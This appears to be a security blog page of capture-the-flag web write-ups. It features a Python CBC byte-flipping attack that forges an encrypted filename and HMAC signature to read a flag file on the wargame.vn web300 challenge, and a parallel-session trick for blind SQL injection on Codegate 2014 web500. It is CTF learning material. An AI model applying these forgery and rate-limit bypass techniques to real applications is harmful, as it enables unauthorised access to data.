Tuesday, February 25, 2014

Another way to solve Codegate 2014 web500

After reviewing again the provided source code and also other write up, I have concluded some interesting point:
  • Password is reset only when session count (cnt) reaches 120.
  • Only one password is saved to DB with unique IP rather than with specific session ID.
By knowing that,let's ask yourself what happen if we have multiple session with single IP?There is still only 1 password stored in the database with that IP. Hence, this gives us another way to defeat this challenge.
def GetCookie():
    # cookie
    cj = CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    response = opener.open(url)
    content = response.read()
     #get cookie
    cookie_string=""
    for cookie in cj:
        cookie_string +=('%s=%s;'%(cookie.name,cookie.value))
    print "cookie: " + cookie_string
    return cookie_string

 If we have only 4 parallel sessions, we will have 4*120 times = 480 number of available requests to the server. it is enough for crafting correct 30 char password with blind sqli.

for i in range(0,4):
       session.append(GetCookie)

Codegate 2014 Web 500 Writeup

□ description
==========================================
http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/


http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.phps

==========================================

Monday, September 9, 2013

ctf.wargame.vn web300

After reading a good article cbc-byte-flipping-attack-101-approach, I remember the last ctf called web300 hosting at wargame.vn also used this technique to get a fla.
http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9

After write something to server we get some useful things:
link:
/?file=362e10cd887022a369c60c3961edf89eaeadfde998a4c6d9794c9e99316c44a39b73b02e3fa2e75820706609e2549ad9bf6a32ce42737fe212e6fa6a91f6fd21&sign=56eb7a1a95ef06c35c6a942e7da55462
filename: 5ac30b7bd737fc5c04d739a61d9f47f0

with the hint, we get the source code. below are some important functions
            function strToHex($string)
            {
                $hex='';
                for ($i=0; $i < strlen($string); $i++){
                    $tmp = dechex(ord($string[$i]));
                    $hex .= (strlen($tmp)==1)?"0".$tmp:$tmp;
                }
                return $hex;
            }
            function hexToStr($hex)
            {
                $string='';
                for ($i=0; $i < strlen($hex)-1; $i+=2)
                    $string .= chr(hexdec($hex[$i].$hex[$i+1]));
                return $string;
            }
            //
            // encrypt + decrypt AES
            //
            include("init.php"); // define _KEY,_IV,_SECRET
            // flag in ./secret/flag.php

            function encrypt_($str){
                return strToHex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, _KEY, $str, MCRYPT_MODE_CBC,_IV));
            }
            function decrypt_($str){
                return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, _KEY, hexToStr($str), MCRYPT_MODE_CBC,_IV),"\0");
            }
            function hmac_($msg,$secret){
                return hash_hmac('md5',$msg,$secret);
            }

            if(!empty($_POST['secret']) && is_string($_POST['secret']) && strlen($_POST['secret']) < 1337){
                 $secret_hmac = md5(_SECRET.rand(0,1337),true);
                 $secret_filename = md5(session_id.$secret_hmac);
                 file_put_contents("./secret/".$secret_filename,$_POST['secret']);
                 $secret_link = encrypt_($secret_filename."|".$secret_hmac);
                 echo "<br /><a class='button button-blue' href='?file={$secret_link}&sign=".hmac_($secret_filename,$secret_hmac)."'>Your secret</a>"; }elseif(!empty($_GET['file'])){
                $decrypt = explode("|",decrypt_($_GET['file']));
                $secret_filename = $decrypt[0];
                $secret_hmac = $decrypt[1];
                $hmac_ = $_GET['sign'];
                $error = false;
                if(strlen($secret_hmac) != 16){
                    echo "HMAC: Bad length! (".strlen($secret_hmac).")
";
                    $error = true;
                }      
                if(hmac_($secret_filename,$secret_hmac)!==$hmac_){
                    echo "HMAC: Not match!
";
                    $error = true;
                }

               
        ?>
                                     <blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>">
                            <?php
                                if(!$error)
                                    echo file_get_contents("./secret/".basename($secret_filename)); // anti directory traversal
                                else
                                    echo "ERROR!";
                            ?>

                       </blockquote>
             
        <?php
            }else{
        ?>

By observing that code, we see that:
- flag in ./secret/flag.php
- filename is generated randomly and displayed in  <blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>
- this uses aes 128 cbc mode which can be exploited by byte flipping technique
 - filename and hmc is seperated by "|" character

Firstly, we need to fake a system open flag so the output filename should be /flag.php. Luckily, because function "basename" is used, filename can be whatever ending with /flag.php (so the result is always /flag.php). We know that generated filename is 32 byte long, and AES 128 use block 16 bit, hence, we can change last 9 byte of that filename (len(/flag.php)=9)

fake_filename = "/flag.php"
true_filename = '5ac30b7bd737fc5c04d739a61d9f47f0'

file='362e10cd887022a369c60c3961edf89eaeadfde998a4c6d9794c9e99316c44a39b73b02e3fa2e75820706609e2549ad9bf6a32ce42737fe212e6fa6a91f6fd21'
file = file.decode('hex')

sign="56eb7a1a95ef06c35c6a942e7da55462"
#because we need to change only last 9 byte of second 16-byte block 
fakefile = file[:7]
for i in range(7,16):
    fakefile += chr    (ord(file[i]) ^ ord(fake_filename[i-7]) ^ ord(true_filename[16+i]))

fakefile+= file[16:]

#now we have fake filename, try to request to server to see that filename is correct
url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakefile.encode('hex') + "&sign=" + sign

from now on, we have fake filename but we still can not get the flag because of   if(hmac_($secret_filename,$secret_hmac)!==$hmac_)

Next, we know character "|"  is used to seperate username and hmac. By Using same technique, change the character number 33 in plain to another character rather than "|", let's say "&"
 ( username + "|" + hmac, and len(username)=32)

fakehmac = file[:16]
fakehmac+= chr(ord(file[16]) ^ ord('|') ^ ord('&'))
fakehmac+= file[17:]


url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakehmac.encode('hex') + "&sign=" + sign

since then, we have hmac right at position 33

sec_hmac =  request(url)[33:]


#now we already have sec_hmac =>md5 with msg and secret  to generate sign

sign = hmac.new(sec_hmac, dec_fake_filename).hexdigest()

url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakefile.encode('hex') + "&sign=" + sign

print getflag(url)

shl

to perform shl eax,cl in python

if cl>32: cl = cl %32
return eax << cl


Wednesday, August 14, 2013

ctf.wargame.vn web200

url: http://challenges.wargame.vn:1337/web200_3b3b44938292fda6efa33655c0954123/

Monday, August 12, 2013

ctf.wargame.vn 2013 web150

url:http://42.117.7.116/web150_be56cb18b29a7b9dba9497d46e58ca83/
Hint:
Hint 1: ~~:>
Hint 2: Get index.php source !
Hint 3: Go home #mysql, you're drunk

ctf.wargame.vn 2013 web100

URL:
http://challenges.wargame.vn:1337/web100_f977a5eaea38b2dcd992c112bdb84b9a/

Hint:
Hint 1: Real-world exploit ;) it's easy , it's not about SQLi ..
Hint 2: We will check your feedback! Please wait few minutes :)